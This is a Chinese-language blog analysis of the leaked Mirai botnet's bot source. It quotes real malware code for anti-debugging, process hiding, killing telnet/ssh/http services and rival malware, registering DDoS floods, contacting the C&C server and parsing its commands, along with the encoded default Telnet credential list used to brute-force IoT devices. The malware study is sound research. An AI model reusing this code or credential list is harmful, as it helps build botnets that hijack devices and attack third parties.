OneShell

I fight for a brighter tomorrow

0%

mirai源码分析:bot分析

运行初始化

设置gdb反调试:

1
signal(SIGTRAP, &anti_gdb_entry);   // 如果发生SIGTRAP信号,则调用anti_gdb_entry

SIGTRAP信号是由断点指令或者其他陷阱(trap)指令产生的,因此如果发生该信号说明可能存在调试器。bot在运行的过程中如果触发了该信号量,则调用函数anti_gdb_entry

1
2
3
4
static void anti_gdb_entry(int sig)
{
resolve_func = resolve_cnc_addr;
}

resolve_func是一个函数指针,此处重写为函数resolve_cnc_addr。个人感觉在anti_gdb_entry函数中还可以做更多和反调试相关的事。

关闭看门狗,防止设备重启:

1
2
3
4
5
6
7
8
9
10
// Prevent watchdog from rebooting device
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
{
int one = 1;

ioctl(wfd, 0x80045704, &one);
close(wfd);
wfd = 0;
}

获取本地地址:

1
LOCAL_ADDR = util_local_addr();

函数util_local_addr通过使用getsockname函数,在未调用bind函数就调用connect函数的情形,获取到socket的本地地址。连接的IP也不一定是8.8.8.8,任意一公网IP即可。函数的返回值是一个整数,可以通过该整数转换成IP地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ipv4_t util_local_addr(void)
{
int fd;
struct sockaddr_in addr;
socklen_t addr_len = sizeof (addr);

errno = 0;
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
#ifdef DEBUG
printf("[util] Failed to call socket(), errno = %d\n", errno);
#endif
return 0;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
addr.sin_port = htons(53);

connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

getsockname(fd, (struct sockaddr *)&addr, &addr_len);
close(fd);
return addr.sin_addr.s_addr;
}

保证唯一的bot在宿主机上运行:
bot调用函数ensure_single_instance来保证在宿主机上只有一个bot程序在运行,具体的实现原理是通过绑定本地端口48101,根据绑定是否成功判断是否有其他程序在使用该端口,如果有则杀死该进程并重新绑定到端口。不知道48101端口是否还有其他的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static void ensure_single_instance(void)
{
static BOOL local_bind = TRUE;
struct sockaddr_in addr;
int opt = 1;

if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);

// Try to bind to the control port
errno = 0;
if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
// 如果bind失败且失败原因为EADDRNOTAVAIL,说明本地的48101端口不可用,可能存在其他程序(bot)在使用
if (errno == EADDRNOTAVAIL && local_bind)
local_bind = FALSE;
#ifdef DEBUG
printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
#endif

// Reset addr just in case
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);

if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[main] Failed to connect to fd_ctrl to request process termination\n");
#endif
}

sleep(5);
close(fd_ctrl);
// 杀死占用端口48101的端口
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance(); // Call again, so that we are now the control
}
else
{
if (listen(fd_ctrl, 1) == -1)
{
#ifdef DEBUG
printf("[main] Failed to call listen() on fd_ctrl\n");
close(fd_ctrl);
sleep(5);
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance();
#endif
}
#ifdef DEBUG
printf("[main] We are the only process on this system!\n");
#endif
}
}

进程隐藏:bot的进程隐藏是结合修改argv[0]和使用prctl两种方式。
隐藏args[0]
bot使用自定义的随机函数获取到一个随机字符串,然后写入到args[0]中,这种方式是通过修改/proc/pid/cmdline,使得ps -efps -aux查看不到正确的进程名和参数。

1
2
3
4
5
// Hide argv0
name_buf_len = ((rand_next() % 4) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
util_strcpy(args[0], name_buf);

在调试过程中使用ps查看bot进程,这是没有修改argv[0]时bot进程名:

1
utest     161447  161324  0 00:20 pts/1    00:00:00 /home/utest/app/Mirai-Source-Code/mirai/debug/mirai.dbg

当执行完毕后,由于原本的进程名太长,修改完毕后还是能查看到一部门进程名。

1
utest     161447  161324  0 00:20 pts/1    00:00:00 ht2jhfsj512jodol8nin -Source-Code/mirai/debug/mirai.dbg

使用prctl
prctl修改了/proc/pid/stat/proc/pid/status 中的进程名称,使得ps -Atop命令无法看到原来的进程名,但是没有修改/proc/pid/cmdline。二者配合可以达到进程隐藏目的。

1
2
3
4
5
// Hide process name
name_buf_len = ((rand_next() % 6) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(PR_SET_NAME, name_buf);

执行前:

1
2
3
4
5
6
7
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:23]
$ cat /proc/165896/stat
165896 (mirai.dbg) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075104 50
96208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:30]
$ cat /proc/165896/status
Name: mirai.dbg

执行后:

1
2
3
4
5
6
7
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:41]
$ cat /proc/165896/stat
165896 (s8glsucvw7j7gu4) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075
104 5096208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:57]
$ cat /proc/165896/status
Name: s8glsucvw7j7gu4

attack模块

bot执行attack_init初始化DDOS相关模块,如下,这其实和登陆到cnc中可以看到的攻击功能是相同的。bot连接到cnc,等待攻击者登陆cnc下发命令,然后bot执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL attack_init(void)
{
int i;

add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

return TRUE;
}

cnc中的攻击方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
mirai-user@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
stomp: TCP stomp flood
greip: GRE IP flood
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS

初始化攻击手段则是通过定义一个结构体,将攻击方式和攻击函数写入,然后再保存到全局的攻击方式methods中,这样使得bot的攻击扩展性增加。

1
2
3
4
5
6
7
8
9
10
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
{
struct attack_method *method = calloc(1, sizeof (struct attack_method));

method->vector = vector;
method->func = func;

methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
methods[methods_len++] = method;
}

killer模块

killer_init函数主要有两个功能:

  1. 杀死22、23、80端口的进程,并占用这些端口。物联网设备常用的管理方式就是通过ssh、telnet或者网络http进行管理,bot通过杀死相应进程并占用使得清除bot增加难度。
  2. 检查自身是否有/proc/目录的权限,扫描其中的进程文件夹并杀死满足特定文件名的进程,或者内存中包含某些关键数据的进程。

以杀死23端口进程并占用代码举例:bot先通过killer_kill_by_port杀死23端口进程,然后重新bind绑定并listen监听23端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    tmp_bind_addr.sin_family = AF_INET;
tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;

// Kill telnet service and prevent it from restarting
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
printf("[killer] Trying to kill port 23\n");
#endif
if (killer_kill_by_port(htons(23)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n");
#endif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23\n");
#endif
}
tmp_bind_addr.sin_port = htons(23);

if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif

调用has_exe_access函数检查是否有目录/proc权限,主要通过open打开文件夹来检查

1
2
3
4
5
6
7
    if (!has_exe_access())
{
#ifdef DEBUG
printf("[killer] Machine does not have /proc/$pid/exe\n");
#endif
return;
}

进入循环,判断/proc/下的进程目录:

1
2
3
4
5
while ((file = readdir(dir)) != NULL)
{
// skip all folders that are not PIDs
if (*(file->d_name) < '0' || *(file->d_name) > '9')
continue;

读取/proc/pid/exe获取到被扫描进程的路径,如果找到同类恶意程序anime,则删除对应文件并杀掉进程。

1
2
3
4
5
6
7
8
table_unlock_val(TABLE_KILLER_ANIME);
// If path contains ".anime" kill.
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
{
unlink(realpath);
kill(pid, 9);
}
table_lock_val(TABLE_KILLER_ANIME);

同样通过/proc/pid/exe获取到进程对应的可执行文件,对其进行扫描,如果其中包含如下的字符串则杀死对应的进程:

1
2
3
4
5
REPORT %s:%s
HTTPFLOOD
LOLNOGTFO
\x58\x4D\x4E\x4E\x43\x50\x46\x22
zollard
1
2
3
4
5
6
7
            if (memory_scan_match(exe_path))
{
#ifdef DEBUG
printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
kill(pid, 9);
}

memory_scan_match中,则是先通过只读获取到进程的可执行文件的文件描述符fd,然后调用mem_exists函数对其进行检查。mem_exists的机制就是读取到缓冲区,然后判断缓冲区中是否包含制定长度的数据。

1
2
3
4
5
6
7
8
9
10
11
12
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
{
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
{
found = TRUE;
break;
}
}

至此,killer模块大致分析完毕。

scanner模块

scanner模块只有当bot不处于debug编译模式,才会执行。该模块的代码大多手动通过网络编程实现了TCP网络通信例如三次握手、Telnet登陆等,就不做太多代码的分析,而是主要说一下代码的执行流程。

  1. 初始化socket
  2. 初始化IPv4协议头部,初始化TCP协议头部,其中TCP协议头部的端口是随机获取到一个小于1024的端口
  3. 硬编码的、已加密的Telnet字典。每一条弱口令都是使用函数add_auth_entry函数进行添加的。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // Set up passwords
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
    ......
  4. 进入主循环中,开始真正的扫描操作
    1. 向目标的2323端口或者22端口发送SYN包,这一步应该是进行资产的探测
    2. 读取SYN+ACK包,进而建立TCP连接
    3. 如果TCP连接建立成功,则尝试使用弱口令进行登陆
    4. 然后应该是建立了一个Telnet登陆的自动机,来根据不同的返回状态来进行弱口令的登陆爆破
      在scanner模块中,bot主要是做了手动的TCP连接实现,加载静态编码的弱口令字典,并创建了一个自动机来实现对模板设备的自动化Telnet爆破。在实际的分析过程中,对scanner模块中的弱口令字典的提取应该才是比较重要的,网络通信行为知道大概功能应该就差不多了。

CNC通信

当初始化完毕attack、killer、scanner三个模块后,bot进入死循环,和CNC建立通信,并获取CNC的攻击指令下发。
根据pending_connection标志,与CNC尝试建立连接。如果连接成功,会向CNC发送\x00\x00\x00\x01,应该是心跳包,或者上线包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
        if (pending_connection)
{
pending_connection = FALSE;
// 与CNC连接超时
if (!FD_ISSET(fd_serv, &fdsetwr))
{
#ifdef DEBUG
printf("[main] Timed out while connecting to CNC\n");
#endif
teardown_connection();
}
else
{
int err = 0;
socklen_t err_len = sizeof (err);

getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err != 0)
{
// 其他与CNC连接的错误
#ifdef DEBUG
printf("[main] Error while connecting to CNC code=%d\n", err);
#endif
close(fd_serv);
fd_serv = -1;
sleep((rand_next() % 10) + 1);
}
else
{
// 与CNC连接成功
uint8_t id_len = util_strlen(id_buf);

LOCAL_ADDR = util_local_addr();
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
if (id_len > 0)
{
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}
#ifdef DEBUG
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
#endif
}
}

最后bot会尝试从CNC的连接中读取数据,并使用函数attack_parse来解析下发的攻击指令。

1
2
3
4
5
6
7
8
9
10
11
            // Actually read buffer length and buffer data
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
len = ntohs(len);
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);

#ifdef DEBUG
printf("[main] Received %d bytes from CNC\n", len);
#endif

if (len > 0)
attack_parse(rdbuf, len);

attack_parse函数中,会解析CNC下发的指令,从中得到DOS持续时间、攻击编号、被攻击目标数量、被攻击目标列表、攻击参数等等。具体的攻击方式也是和TCP编程相关,此处分析暂时忽略。